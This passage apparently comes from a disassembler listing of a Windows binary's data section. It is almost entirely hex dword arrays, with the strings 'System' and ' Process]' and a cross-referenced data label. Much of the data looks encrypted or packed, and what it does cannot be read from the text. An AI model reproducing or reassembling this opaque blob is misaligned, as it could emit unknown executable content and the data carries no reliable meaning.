		dd 5F84A7E8h, 18ECB52Bh, 0DFE77CB0h, 0B3024569h, 1291ADD9h
		dd 74C52EDCh, 0C097A782h, 14C1A7EBh, 5402F9C8h,	1E5D361h
		dd 86E5E369h, 41C1A7F2h, 0B102F1AEh, 8535BC1Ch,	0A8386258h
		dd 15CED62Fh, 53F83A4h,	5C1A56Eh, 0DA1E2CE8h, 190D1353h
		dd 0A2CDA298h, 50ABA7E8h, 28C24FBEh, 4AE1A7E8h,	7E48F92Bh
		dd 4140A3CCh, 82D9A3CCh, 1787A7E8h, 0BF46702Bh,	584A2FBFh
		dd 7FC41D8Eh, 0E8892C8Eh, 0E290A782h, 5C1A7EBh,	0DB02FEC8h
		dd 45E5EB61h, 0A4E5E369h, 50C1A7F0h, 2A02F6A9h,	5961C49Ch
		dd 0AC022E7h, 0B339A7E8h, 82C01F03h, 0D03DA7E8h, 0A0C1AC01h
		dd 8EA6D3E8h, 0C7352261h, 0E412E0C2h, 0ACB4FB8h, 5067A7E8h
		dd 5BE002C1h, 0AFA43Dh,	3FE07852h, 0D150FCC8h, 65D8013Ah
		dd 0CD4DC1D2h, 0E290A782h, 5C1A7EBh, 0DB02FEC8h, 45E5EB61h
		dd 0A4E5E369h, 50C1A7FFh, 2802F6A9h, 0FC7990CBh, 0AC1A7E7h
		dd 0BC465C6h, 0ADC20360h, 0ED4679D5h, 0F08FDDB5h, 32BC7C69h
		dd 729BD17Ch, 1BC5661Eh, 0AC0B36Dh, 56C1CDE8h, 82C1A400h
		dd 829A87E8h, 849D2EB3h, 748526ECh, 28C1BFECh, 0D792E4E8h
		dd 5E977282h, 5ABFE48h,	82C24FBDh, 1CE1A7E8h, 0CC48FA2Bh
		dd 1440A3CCh, 28DBA3CCh, 4184A7E8h, 0AF207B2Bh,	0A88E7801h
		dd 6E22268Eh, 29F827D1h, 0A18E22E7h, 50ABA7E8h,	28C24FB8h
		dd 4CE1A7E8h, 4E48FF2Bh, 4140A3CCh, 82D8A3CCh, 1181A7E8h
		dd 3340CE2Bh, 0D07F6C7Ah, 514A500Ah, 0C74AC1E9h, 0AC15869h
		dd 87CE27E8h, 82C1A6F1h, 0A994A782h, 0A0C1A7EBh, 0D02FAC8h
		dd 2CE5CB61h, 10E5E369h, 0AC1A7FCh, 6902F2ADh, 82C529E7h
		dd 0FAA7A7E8h, 25067CA5h, 56D21088h, 28C1A7E9h,	0FC93A782h
		dd 0AC1A7EBh, 5F02FDC8h, 86E5F361h, 45E5E369h, 0A0C1A7FCh
		dd 8902F5AAh, 28C1A901h, 4F002E8h, 1833E0CBh, 599E79EDh
		dd 7714573Ch, 41C17F01h, 2096F6E8h, 0B9A470Fh, 28C10F01h
		dd 46C1CDE8h, 0AC1A400h, 0C69B87E8h, 0A6952EB2h, 658526ECh
		dd 0A0C1B3ECh, 9393E5E8h, 28ABFE48h, 14C24FBAh,	50E1A7E8h
		dd 5148FD2Bh, 0C640A3CCh, 41DBA3CCh, 0F283A7E8h, 942A322Bh
		dd 0B75825E3h, 14C12FE7h, 89A7A7E8h, 0A3EAC91h,	82C1FF6Ch
		dd 17C1CDE8h, 0A0C1A400h, 939F87E8h, 0CB52EB6h,	308526ECh
		dd 0AC1BBECh, 0C697E1E8h, 0BF747887h, 73E40DF4h, 0B27BC10Ah
		dd 814AC150h, 9FA1222Fh, 14C0A1FBh, 0AABA7E8h, 5C24FBAh
		dd 0D8E1A7E8h, 1548FD2Bh, 0E440A3CCh, 50D8A3CCh, 7A83A7E8h
		dd 9924922Bh, 0BC118423h, 5ABEF5Bh, 82C24FBDh, 1CE1A7E8h
		dd 0CC48FA2Bh, 1440A3CCh, 28DAA3CCh, 4184A7E8h,	4EDD702Bh
		dd 0BD3AD850h, 0A3711E94h, 0C44CEFC6h, 0A6D21AFBh, 0EBF01A65h
		dd 0D0FAA1FBh, 1BF1A09Ch, 0E1866E39h, 52C1CD1Dh, 82C1A400h
		dd 829E87E8h, 84BD2EB7h, 748526ECh, 28C1BCECh, 0D796E0E8h
		dd 0A21E8B0Ah, 308A19A2h, 584AC11Dh, 4CB81A6Bh,	0AFC0A1E6h
		dd 50C1E16Ch, 7AC1E8h, 0E97C247Eh, 0AC7A9C7h, 5F422E7h
		dd 82ABA7E8h, 41C24FBBh, 0FBE1A7E8h, 0C48FC2Bh,	6C40A3CCh
		dd 14D6A3CCh, 5982A7E8h, 6726162Bh, 0B77C2481h,	41C7A9E1h
		dd 0A09623E7h, 0DCCEA7E8h, 28C1A7EBh, 0FD1F10E7h, 0AC1A6FCh
		dd 0ED94A782h, 82C1A7EBh, 1C02FAC8h, 0A4E5CB61h, 54E5E369h
		dd 28C1A7FDh, 2A02F2ADh, 0ACF4E59h, 81E6A7E8h, 4403EE14h
		dd 6A935F38h, 56EF0114h, 50C1B301h, 474AA7E8h, 0AB98AA02h
		dd 2C0C18E3h, 11AFEB07h, 0A2433769h, 387C24C8h,	0A1C7A9E5h
		dd 50B922E7h, 7539A7E8h, 0FC91A782h, 0AC1A7EBh,	5D02FFC8h
		dd 86E5E361h, 45E5E369h, 0A0C1A7F3h, 8502F7A8h,	49E33387h
		dd 94814189h, 60024203h, 629F4E8h, 0A2C1A7E8h, 0C89A64B3h
		dd 21C583B4h, 4AC583ACh, 6BC1A7E8h, 7AD764BBh, 79CF5916h
		dd 1E41A88Ch, 6AC1A7E8h, 41C1A7FBh, 18E4FF8Fh, 0CF824A9Eh
		dd 162CB4A8h, 5F19A3DDh, 811DAA57h, 9577FC3Eh, 82C1EC01h
		dd 0A240C1E8h, 0C69CF6F9h, 9F643653h, 0C090A782h, 14C1A7EBh
		dd 5302FEC8h, 1E5EB61h,	86E5E369h, 41C1A7F4h, 0DC02F6A9h
		dd 0EA653662h, 0A15EE5EEh, 14D722E7h, 1B28A7E8h, 0E4C1A7E8h
		dd 0CAC8FADDh, 0A6195749h, 52828DFBh, 2B47A09Eh, 9FAA1A65h
		dd 994CA1FBh, 0CD21B08h, 3F9DBA50h, 2F449493h, 6AC7A9F2h
		dd 1E286627h, 0EFC6A371h, 1AFBC44Ch, 1A65A6D2h,	0A1FBEBF0h
		dd 0A09CD0FAh, 6E391BF1h, 0F305E983h, 60BD83A4h, 613B7h
		dd 8D8D0D74h, 60E4DD1h,	1B8h, 40E1FF00h, 14E9h,	9DDCEC00h
		dd 96298442h, 283A045Fh, 0E6AA9F0Dh, 3380AE1Bh,	5870FD9h
		dd 66000000h, 810DE281h, 6A2DE883h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 4417C351h
		dd 0C680BF55h, 6AC08B7Fh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 523FC352h, 830024F8h
		dd 0E0E21BDh, 9750006h,	0FC5BD83h, 7400060Eh, 8B535019h
		dd 3FCB8C0h, 85890000h,	60E15C5h, 0A8D39D8Dh, 0D3FF0610h
		dd 0BD83585Bh, 60E0FC5h, 50177400h, 3FCB853h, 85890000h
		dd 60E15C5h, 0A5749D8Dh, 0D3FF0610h, 0BF0F585Bh, 50006AD1h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 8DC08B2Dh, 13BEBC8Dh, 659D8906h, 89060E07h, 0E2FC58Dh
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0BBE30789h, 12FB4977h, 0F9958994h, 0C7060E2Ch
		dd 0E088185h, 5FF806h, 55006A00h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 6820FE6h, 33000000h, 0E2E5585h
		dd 12840F06h, 0E8000000h, 7, 78C933F0h,	662B87B3h, 8CE5CF81h
		dd 0D985C75Fh, 60E28h, 0F000000h, 0B5FFFEBFh, 60E0CD5h
		dd 5E9h, 591EDA00h, 95FF786Ah, 60E09B9h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 16h, 0FAC35747h, 0DC801C7Eh
		dd 0FF006A11h, 0E0F4595h, 0EBC08B06h, 0CC0C065Eh, 5D49C127h
		dd 6EFC33B5h, 0BE7F5584h, 7CD448A6h, 8267384Eh,	0E6EFE05Dh
		dd 0FC199376h, 92ABC20Ch, 0AFA07593h, 8DBB81C1h, 8FAACED1h
		dd 2789E0E7h, 887A1F34h, 0EA88390h, 1B6EBD75h, 0EF368256h
		dd 0F0DEBC1Ch, 0B3E37Fh, 0BD07737Fh, 0A9BFC778h, 0BF914758h
		dd 0EA87BCB3h, 0E9088555h, 165h, 988552Ch, 86306F10h, 4ECC4BE4h
		dd 9115F8Bh, 501A5126h,	9195176h, 50125FD4h, 3939763Ch
		dd 506B235Fh, 0D29077E4h, 9E94C31Ah, 502CB1A7h,	505D1242h
		dd 128h, 0
		dd 4, 2	dup(0)
		dd 30h,	0
		dd 8, 0
aSystem_0	db 'System',0
aProcess	db ' Process]',0
		align 4
		dd 3Eh dup(0)
		dd 1637E900h, 4F680000h, 0E90613C2h, 0FFFB8B20h, 13C31368h
		dd 8B16E906h, 2968FFFBh, 0E90613C4h, 0FFFB8B0Ch, 13C53868h
		dd 8B02E906h, 0D868FFFBh, 0E90613C6h, 0FFFB8AF8h, 13C83968h
		dd 8AEEE906h, 0F868FFFBh, 0E90613C8h, 0FFFB8AE4h, 13C9AC68h
		dd 8ADAE906h, 9C68FFFBh, 0E90613CBh, 0FFFB8AD0h, 13CC7468h
		dd 8AC6E906h, 2F68FFFBh, 0E90613CDh, 0FFFB8ABCh, 13CDC368h
		dd 8AB2E906h, 368FFFBh,	0E90613CFh, 0FFFB8AA8h,	13D47068h
		dd 8A9EE906h, 7168FFFBh, 0E90613D5h, 0FFFB8A94h, 0A2030F26h
		dd 88E9F713h, 72D3E1F9h, 5EBFCDE3h, 49AAB6CFh, 0B9D2E264h
		dd 0A3BD4CADh, 8AA53495h, 718E1D7Eh, 0C9F60465h, 6465B4EAh
		dd 105C258Fh, 6CD9E502h, 88180D96h, 0E174C035h,	804ABCC8h
		dd 9704102Dh, 5F4F4F2Eh, 648A9577h, 63CF928Ah, 7BEDE99Ah
		dd 0D30E431Ah, 0CA348766h, 0B9DF9B85h, 0AD4E4CEFh, 0F9BF8F69h
		dd 1E36C53Dh, 0F8C2CEE7h, 479A64CEh, 47B92331h,	192C44B9h
		dd 436839h, 0BA180000h,	78E14E85h, 3330C9A2h, 0FB300A16h
		dd 524C2BA6h, 8795773Ah, 0A285F761h, 9B854ABDh,	0BAE789Eh
		dd 8F692B8Fh, 847EB87Eh, 2B623C1Bh, 28778F69h, 0F39030Fh
		dd 30A533A5h, 543919B2h, 0A0h, 0D9E50204h, 97A3BC0Fh, 0FB11A0CDh
		dd 87F923EDh, 1CBD7F4h,	248591AEh, 782B2045h, 54607D95h
		dd 3B4764F3h, 72E1D671h, 0D54F2F05h, 7C88196Ah,	79BE9D0Ah
		dd 929B85B5h, 3F340B6Ch, 8E7857C4h, 1B957A22h, 901F88F5h
		dd 7A16B77h, 0EBDD5A0Ah, 62D43E09h, 49AAB6CFh, 0BF95A1BAh
		dd 0B2E67254h, 0E1368A50h, 51000013h, 3ECD2E3Ah, 24B31422h
		dd 0E9DFE0Ch, 0FA89EAF8h, 8F74D5E1h, 0D8E4FD0Dh, 0C0CEE877h
		dd 0A9B5D05Fh, 909CB948h, 15F4212Fh, 8F646489h,	23B8750h
		dd 0ED7CDDE9h, 0D763C4D0h, 0E14E85BAh, 86365D02h, 0ED8FE9Bh
		dd 6A162F6Bh, 1E18DE8Fh, 29C7BE4h, 0D78F6A17h, 1E78D7B1h
		dd 0D591AAFh, 30980D9Bh, 0A2BC3919h, 6C000000h,	0FD9E502h
		dd 0CD97A3BCh, 782B3B2Ah, 39456295h, 202C49D8h,	0FD0924B3h
		dd 3126C18Bh, 0C17655C2h, 4A9B863Eh, 0F7ECC324h, 5F293753h
		dd 7F5ECB35h, 957AA876h, 157EEB11h, 5DD1CDACh, 0E2088959h
		dd 0B8C4DD70h, 92A0BC4Bh, 0CB2C9EC8h, 4117233Ch, 0B2E62CECh
		dd 1DAE02C8h, 15000013h, 291F2FEh, 0E877D8E6h, 0D261C2D0h
		dd 0BE4DAEBCh, 533899A5h, 9CA8C1D1h, 8492AC3Bh,	6D799423h
		dd 54607D0Ch, 0D9B8E5F3h, 8F6463C5h, 2FF4B14h, 8A98B4E9h
		dd 0CB2C96C0h, 0B2131F3Ch, 6A9FBA49h, 64D6404Eh, 0D9E502D4h
		dd 939FBC0Fh, 38F3C932h, 0E5AF076Fh, 0DDF588FAh, 95B205CFh
		dd 0C4461C89h, 43BE3562h, 0FED637A9h, 72ECE1DCh, 77D70B93h
		dd 3EA8CE95h, 5B9F2D1h,	113A9B86h, 69A76C32h, 0B3D76D8Fh
		dd 170FE6C6h, 0E2C6309Ah, 0F3DB9803h, 0BD342986h, 9DABC150h
		dd 0CA37A9D3h, 0ED8608EBh, 2E48D79Dh, 0BFE5AE20h, 7E655AF5h
		dd 4F4A744Fh, 0E838129Ch, 0CB36E180h, 99026FD9h, 4EE1ED0Ah
		dd 0D0B32531h, 97E3533Eh, 7FE8557Bh, 0C074FEA0h, 0D3D0CA8Bh
		dd 90027D21h, 0C22FA1C7h, 0A1ADCA59h, 37F9C2Fh,	0BBD5FBABh
		dd 0C111D3ADh, 0B389F660h, 6983CB7Dh, 8D67915Bh, 0ED5F3F04h
		dd 14D238Ch, 4FB1F4D4h,	0DEFB8E00h, 0A87DFCD2h,	0B379B07Eh
		dd 12075Fh, 8142B00h, 0EEFC18A7h, 0D8E6FE8Dh, 0C4D2E877h
		dd 0AFBBD463h, 0D7E7694Eh, 0C251B2BEh, 0AA399AA8h, 9322838Fh
		dd 0FB096A76h, 62AFEFCEh, 612A8F64h, 0E0BF2815h, 957826BEh
		dd 0F083F51Bh, 62FDC7D3h, 0AA89F66Dh, 9B863491h, 92FB5C82h
		dd 0BDE1C029h, 1C8F6A19h, 198B13F6h, 284E8F6Ah,	0FA0623B6h
		dd 31A09530h, 0D8FDE5C4h, 3E64957Dh, 0B922FBD1h, 703B8515h
		dd 0E50291FEh, 7F966CD9h, 0B04F3A91h, 0E849F542h, 77E15038h
		dd 0F815A405h, 8CF522ECh, 56E0F1ADh, 2FC2E889h,	16400A16h
		dd 5D94C9A4h, 44181AF0h, 0B25B7889h, 0B1238D99h, 455D6544h
		dd 91208F6Ah, 77A16B79h, 0A9163C05h, 90F1FD1Ah,	0B568E401h
		dd 0A2AECBF6h, 1CD4AED8h, 76E34D09h, 18702E0Dh,	829F8343h
		dd 0B982AC76h, 57472693h, 82834318h, 8520EA5Ch,	0D2E0F850h
		dd 0A2FCDB08h, 37834318h, 0FA14A711h, 8EF822ECh, 47854221h
		dd 80A68951h, 0AA021AAh, 3571DBFh, 10F8h, 0B617233Ah, 9CFD0B27h
		dd 86E7F50Dh, 72D3E1F7h, 5DBECAE3h, 0CDE6F678h,	0B7D160C1h
		dd 9EB948A9h, 85A23192h, 0DD0A1879h, 6461A0FEh,	2470398Fh
		dd 7CDDE902h, 34698413h, 18420C1Ah, 7991E4AEh, 0B48F016Bh
		dd 6ED744BFh, 26782605h, 7E979578h, 1183A972h, 8641192Eh
		dd 22EC129Bh, 39A6B2CFh, 0BA8492AAh, 2EBD1E90h,	0A03B0511h
		dd 485635ABh, 918F6A0Bh, 9781A8FBh, 93FD7A1Ah, 6DDBC29h
		dd 5D95773Ah, 0B9C36D37h, 36425F7Dh, 0E9203AC9h, 8B55BFCDh
		dd 258EEF61h, 0A26C7A96h, 362B0678h, 0D86F4EBBh, 538F693Dh
		dd 0CD36632Dh, 4D08B0EEh, 91032983h, 0BD5E1FEh,	809A2952h
		dd 117EA872h, 4D086C32h, 0D5476D83h, 34296BCBh,	0D67150BDh
		dd 55895B22h, 8F65CE2Fh, 1EAA50Fh, 9F32A4CEh, 9AC7682h
		dd 7D3EF191h, 6A495A76h, 7D3ED134h, 4B157FA5h, 7D1DDF8h
		dd 0C18B97B4h, 59DDE397h, 56E0AAACh, 0F05D6986h, 0F0E1BD1Ah
		dd 10829B27h, 647046AFh, 5A7D5538h, 623B628h, 850DB48Ah
		dd 0AD1702CCh, 8C98B140h, 5C2698C2h, 0E8558CC1h, 4D313209h
		dd 5ABBE183h, 3A4862F1h, 0B20BECC8h, 0F8041DBDh, 0FC8D942Eh
		dd 3557F46Ch, 15F461CBh, 7D4408D5h, 392769Ch, 0E714DEEAh
		dd 6B848811h, 0A3BB7B45h, 7D982B95h, 0B7DA771h,	1C8E7228h
		dd 0E9184D71h, 4E2D9D7Ch, 0DE047730h, 96320871h, 49556E9Eh
		dd 0E190466Fh, 0B3BFDC6Fh, 9AA6C352h, 58647DD0h, 37170F82h
		dd 0D125EBD1h, 0F58h, 56B7C3DAh, 3C9DABC7h, 268795ADh
		dd 12738197h, 0FD5E6A83h, 6D869618h, 57710061h,	3E59E849h
		dd 2542D132h, 7DAAB819h, 6461009Eh, 0C410D98Fh,	7C9928h
		dd 0FE64BE75h, 0AF218B93h, 96F7031Ch, 71DEEA07h, 0DA12E79Bh
		dd 279944F8h, 0E1ED0A5Dh, 0AB8B5517h, 0A7081431h, 0B85A81Dh
		dd 4862F133h, 6E36C83Ah, 9000001h, 44C87533h, 718EC05Ah
		dd 7719B65h, 0E5020595h, 0BE8896B0h, 0D602A94h,	0E877E4F0h
		dd 43E9C3CFh, 8A9776D9h, 582F9002h, 0A483F063h,	9B858217h
		dd 8997ADFCh, 2FFA25BFh, 7919AEADh, 0A938A50Fh,	49138593h
		dd 6A0BF4A6h, 0E8F9138Fh, 6A0B9509h, 0B41E448Fh, 6E7A97EAh
		dd 1E18E2A4h, 0A2945AE7h, 0ADBBD160h, 0B947B9E3h, 3918CE44h
		dd 56DFB78Dh, 4EB616DAh, 315B2531h, 2EC355C7h, 73000000h
		dd 0E14E85BAh, 86365D02h, 0ED8FE9Bh, 6A162F6Bh,	26B5DE8Fh
		dd 0C36000Eh, 5C695932h, 49BBBC5Eh, 75EAF73Fh, 973918FAh
		dd 86h,	0D9E50247h, 97A3BC0Fh, 515D7ACDh, 0B173487h, 2B9ACBAAh
		dd 0E6039578h, 4A6097B1h, 0DE08D23Ch, 73C1374h,	0F3805FCCh
		dd 909B88C6h, 0BE94FD6Ah, 0EC041CDCh, 9CAB04DEh, 0E0F98CFEh
		dd 0CBE473D4h, 54CE9BFh, 8248ACD8h, 0DF72Eh, 18243B00h
		dd 0FE0C28B7h, 0E8F60E9Dh, 0D4E2F887h, 0BFCBE473h, 0E7F7795Eh
		dd 0D261C2CEh, 0BA49AAB8h, 0A332939Fh, 0B197A86h, 5E9FFFDEh
		dd 713A8F64h, 0DDE90225h
dword_5A5E68	dd 0C4D0ED7Ch, 0E502D763h, 9FBC0FD9h, 0D6404E6Ah, 0BDC9E675h
					; DATA XREF: sub_55EDA7:off_569450o
		dd 0ED6358F3h, 7826900Eh, 0B9234995h, 26B26D4Ch, 3299B86h
		dd 70912A2h, 80E90000h,	6A25FDA1h, 49B6DC8Fh, 6A25346Ah
		dd 0D7FA58Fh, 0DDE9027Dh, 8EC5E170h, 8BFD6773h,	267C1EC1h
		dd 0E439578h, 4B8766D3h, 0F69B8BE5h, 0B7D463D0h, 9EBB4AABh
		dd 0C59BC892h, 26287BCDh, 1ABB9395h, 546414EEh,	0D2F3D755h
		dd 299374D2h, 0FF0B24B7h, 0DAFD8229h, 64B87EACh, 0D38h
		dd 76D7E3FAh, 5CBDCBE7h, 46A7B5CDh, 3293A1B7h, 1D7E8AA3h
		dd 8DA6B638h, 77912081h, 5E790869h, 4562F152h, 9DCAD839h
		dd 645EE0BEh, 0E430F98Fh, 7CDDE902h, 6C7D3D13h,	0B0BA4978h
		dd 828EAB3Eh, 3C4865B8h, 50E6B072h, 2636F8Ch, 0B360378h
		dd 0CF744A33h, 0EF40F2CFh, 0D6DFF71h, 1D000000h, 7831DDB2h
		dd 0EBA93D95h, 5DFFFFFDh, 7826E8B2h, 0FFE2D795h, 16A6CFB3h
		dd 811DFC2Dh, 58957803h, 0F15EC832h, 0D1DFF988h, 886BDD07h
		dd 9B8BC252h, 36CD9FFh,	834D5974h, 9D071330h, 6F7B982Bh
		dd 56627F0Eh, 1420398Ch, 0DB46AD3Eh, 6FC389ACh,	0C84h
		dd 2A8B97AEh, 10717F9Bh, 0FA5B6981h, 0E647556Bh, 0D1323E57h
		dd 415A6AECh, 2B45D435h, 122DBC1Dh, 0F916A506h,	517E8CEDh
		dd 645D2C72h, 98E4AD8Fh, 74809928h, 7B0E80AAh, 410295Eh
		dd 39A6103Ah, 26ADF1D0h, 47629578h, 0DA4C723Bh,	280DE310h
		dd 9A4C0BD1h, 6986198Bh, 7D1935Dh, 8490AD2Fh, 48249923h
		dd 1748330Bh, 1B000000h, 9E68768Ch, 0B2720274h,	957831DDh
		dd 81EBF714h, 0FFFD21EDh, 85BAA1FFh, 1102E14Eh,	0E9B8634h
		dd 19D8C6A5h, 0DB018F6Ah, 3851A069h, 13DDEB03h,	62B57FE9h
		dd 67D13B47h, 19A1FA9Dh, 50688F6Ah, 2BF50319h, 7ACD9701h
		dd 35885260h, 1C26101Ch, 985EEB1Ah, 0C0CE439Eh,	85F23918h
		dd 0A2000001h, 782718B2h, 85147895h, 19EF5C68h,	0D88B6118h
		dd 0B875A76Dh, 91C2DAB4h, 190F163h, 6B0ED8E4h, 9577A597h
		dd 8557DFE9h, 24FB5C68h, 9CEFB916h, 24324A7Fh, 0ADCA59BAh
		dd 0D634D7A1h, 179577A4h, 35435FEEh, 647DB9C3h,	330B35EFh
		dd 13311h, 0E502C100h, 9FBC0FD9h, 73502693h, 370C4605h
		dd 456A52DDh, 86F08B25h, 0BB4AB314h, 492496A2h,	9A70DD14h
		dd 0A0954924h, 0DAF0831Bh, 0EED5ACCh, 9B8613ADh, 0D3764066h
		dd 8F69F7C7h, 2BB68046h, 3918E2B6h, 2CDAh, 81D7AD00h, 0D7E5FFB0h
		dd 0AACA3FFDh, 85BAA838h, 5D02E14Eh, 0FE9B8636h, 2F6B0ED8h
		dd 0DE8F6A16h, 4EC31E18h, 723918C7h, 0B2h, 0D9E50222h
		dd 97A3BC0Fh, 0E15D7ACDh, 11667533h, 0BD2A9469h, 7C297554h
		dd 1AB09577h, 8028DA75h, 0CD3FA9A3h, 8793B003h,	8FA64726h
		dd 0EA079577h, 0B1A67DDEh, 7DF6D542h, 69B8804h,	0CBE473E0h
		dd 7717D96h, 95AE3DA6h,	2B467819h, 4CB68173h, 222E47DAh
		dd 0D8F5B14Ch, 73C78DACh, 0A94h, 1A7B879Eh, 616F8Bh, 0EA4B5971h
		dd 0D637455Bh, 0C1222E47h, 314A5ADCh, 1B35C425h, 21DAC0Dh
		dd 0E90695F6h, 416E7CDDh, 645B3C62h, 88D49D8Fh,	2C6DE902h
		dd 262A0761h, 39A2036Dh, 18C72963h, 0F567CDC2h,	0CC394562h
		dd 0C45DD1F6h, 87F9C118h, 0E5029A26h, 9FBC0FD9h, 0A8A23293h
		dd 56000003h, 0B407DB9h, 5F8C6BD8h, 149B8BE5h, 3E330AEEh
		dd 0E47756C3h, 6F957268h, 0BEDC7F49h, 4F895663h, 0BF34AD89h
		dd 63F2C76h, 0B4AE0530h, 0BF2C12FDh, 56EEBEE0h,	83F51B89h
		dd 31BF1h, 5228A100h, 0FDDCE88Eh, 957813A1h, 38381238h
		dd 0CCAF21AFh, 9577B2CEh, 77B2C0E9h, 0B9281D95h, 3754E34Ch
		dd 21D6B92Bh, 6A9B85E2h, 8CF6021Bh, 0D605F1B6h,	0D327EDACh
		dd 9BCh, 0F2535F76h, 0D8394763h, 0C2233149h, 0AE0F1D33h
		dd 99FA061Fh, 92232B4h,	0F30D9CFDh, 0DAF584E5h,	0C1DE6DCEh
		dd 194654B5h, 645A643Ah, 60AC758Fh, 0FD9E502h, 97047F74h
		dd 0B31440C1h, 0F1882739h, 7C5E38B1h, 2E9B0DF4h, 8BD49F4Fh
		dd 53B4DA9Bh, 0CAE3477Ch, 55C2DCBBh, 0F1178F64h, 0DAB01D87h
		dd 48136522h, 0C835A75Bh, 77EE09E9h, 0E5527895h, 0CD2E3C56h
		dd 5070D4EEh, 0CF3A3B89h, 5E76056Eh, 314BDE50h,	0B27B623h
		dd 0C8E033FDh, 5CC6F0BAh, 1DF320EAh, 0BD5C1439h, 57EA5CC2h
		dd 32C12E3Ah, 0CE980A18h, 56C33E33h, 5EEA0C77h,	9B71978Fh
		dd 0B8FD06ECh, 1AE02C8h, 31000009h, 1EAD0E1Ah, 493F402h
		dd 0EE7DDEECh, 0DA69CAD8h, 6F54B5C1h, 0B8C4DDEDh, 0A0AEC857h
		dd 8995B03Fh, 707C9928h, 0F5D4010Fh, 8F6459A9h,	0BA1B6730h
		dd 78E14E85h, 4FC1CFE9h, 8BE5866Ch, 8FACFB9Bh, 0FC8FB983h
		dd 0E20CD6E4h, 627C0B78h, 4A64F354h, 0E2D7723Ch, 0A99026Fh
		dd 0F01AE4F2h, 26539B7Eh, 269578h, 28A69B36h, 50A75549h
		dd 0F45E8489h, 0D6B51E87h, 8950A7C8h, 9679EB11h, 8F5EB189h
		dd 0DFED0352h, 0AB81EB15h, 0B8FCEAF2h, 6DB408CEh, 0C5000008h
		dd 0B241A2AEh, 98278896h, 82117280h, 6EFD5E6Ch,	3E84955h
		dd 4C587181h, 34425CEBh, 1D2944D3h, 4102DBCh, 896895A3h
		dd 8F645915h, 2AFFBC4h,	8A98B0E5h, 0C0295620h, 7826BDE1h
		dd 84F61C95h, 0FEC8D4F1h, 18C4723Ch, 48EEFFBh, 330AB38Fh
		dd 13BB1h, 85BA6100h, 3502E14Eh, 329B8650h, 77987A3h, 0AB4E183Eh
		dd 8F69FCEFh, 3DE581Eh,	3918DD8Eh, 117B2h, 99286200h, 6CFF717Fh
		dd 2679434Fh, 0C59CFD09h, 15F46190h, 9B8634A6h,	3C88D76Dh
		dd 6E3E1B7Fh, 6E068B94h, 6ED8914Dh, 0A09901A4h,	0AE748F69h
		dd 38E45988h, 2A083919h, 0B8000000h, 0E14E85BAh, 86365D02h
		dd 12F15A9Bh, 8F6A168Ch, 0ECB5274Dh, 4159FCC6h,	0CC8F6A16h
		dd 3CB13006h, 603918C7h, 9Ch, 0D9E50210h, 97A3BC0Fh, 80CAA0CDh
		dd 414F712Dh, 0C0DD70E2h, 7A97EAB4h, 5672016Eh,	0E2547E48h
		dd 133A281h, 2D4A9578h,	0C85F3F1Eh, 547A9577h, 309AA6C1h
		dd 67C3F8CFh, 4D77414Fh, 0DC9776E3h, 0A79B886Eh, 6C851481h
		dd 2D96FF60h, 6723504Eh, 0F163898Fh, 6339455Eh,	0ACD86580h
		dd 2D62B67Ch, 5000007h,	0F281E2EEh, 0D867C8D6h,	0C251B2C0h
		dd 0AE3D9EACh, 43288995h, 8C98B1C1h, 74829C2Bh,	5D698413h
		dd 44506DFCh, 0C9A8D5E3h, 8F6457D5h, 2EF3B04h, 0ED7CDDE9h
		dd 0D763C4D0h, 487F9928h, 0EEB82230h, 0A2BF52C4h, 5C79CC96h
		dd 505FEF50h, 13000000h, 7C714CB9h, 267B2302h, 385E9578h
		dd 6A8261CEh, 0B9B8BE5h, 0DD42EA75h, 0C42E47DBh, 0AE9E8157h
		dd 208CCD81h, 0A2F2CAAEh, 3EAB261Bh, 4BAB5E68h,	28437EADh
		dd 0D340B21Ch, 7861F9F4h, 74587E95h, 5870350Bh,	6F9E2063h
		dd 5969FDh, 0BA1D0000h,	0FE0A2585h, 33A00A34h, 8639E754h
		dd 24032C9Bh, 8F6A127Ah, 3ADEBF4Eh, 844DF9ECh, 872AF45Eh
		dd 8F69FD12h, 2A6ACCD2h, 0E851BE35h, 0C3C13F59h, 749136E2h
		dd 0BE9D0A74h, 8F6988E0h, 7E61D3F9h, 95779BBDh,	66CF3056h
		dd 74801EFDh, 3359895Bh, 0AE2DC1h, 0BAE10000h, 2E14E85h
		dd 9B8BE5E8h, 16243A89h, 75DE47ACh, 64680896h, 39ABD18Fh
		dd 648D375Dh, 0A53FBDD5h, 63F51478h, 4E58CA34h,	0A84F9E8h
		dd 6DA8391Eh, 7B000000h, 53C5D1ECh, 4E85BAC3h, 300F78E1h
		dd 9578266Eh, 0F0D3456Bh, 9B8BE5FBh, 15ED5278h,	0B77F457Fh
		dd 94A2BC4Bh, 761F9422h, 3D41391Eh, 0F1000000h,	0B2585BAh
		dd 9F0933FDh, 0E5995332h
		dd 0B6DC9B8Bh, 4059E851h, 0AEE6C234h, 0FBE65016h, 391E7386h
		dd 1A2840CFh, 1E16A8h, 80E90000h, 645EFDA1h, 0DCB6DC8Fh
		dd 6E788A49h, 0C959CBF6h, 7842BDB2h, 0FC891D95h, 3DFFFFFEh
		dd 0E14E85BAh, 0DA37A278h, 74C0316Ah, 9A9F1F02h, 547A9B8Bh
		dd 0CC875D8Ah, 92BD9B39h, 0DA0FEA5Ch, 42D13AA7h, 1541E2Ch
		dd 0E812DCE8h, 0C4290C7Eh, 0B3957765h, 3328C38Dh, 4E7453C0h
		dd 0D38F63A6h, 95B140ADh, 1A4F2687h, 579B7AE7h,	2A894FE7h
		dd 0ED089704h, 2EA180E1h, 43154F14h, 6B881726h,	0BD227C5Fh
		dd 8EB7E501h, 1BDEFAFh,	5AC4EAE5h, 0BD900EEDh, 2349E501h
		dd 0ACC958B9h, 63BD6A0h, 142039C8h, 613D204Ah, 78E501BDh
		dd 9C7BE852h, 0EB0FC947h, 0FA89F61Ch, 0DC06D0DEh, 354DA06Ah
		dd 0EE0A5D27h, 0B2A0FEDDh, 1339DEF3h, 531DDFA9h, 0CB3822E3h
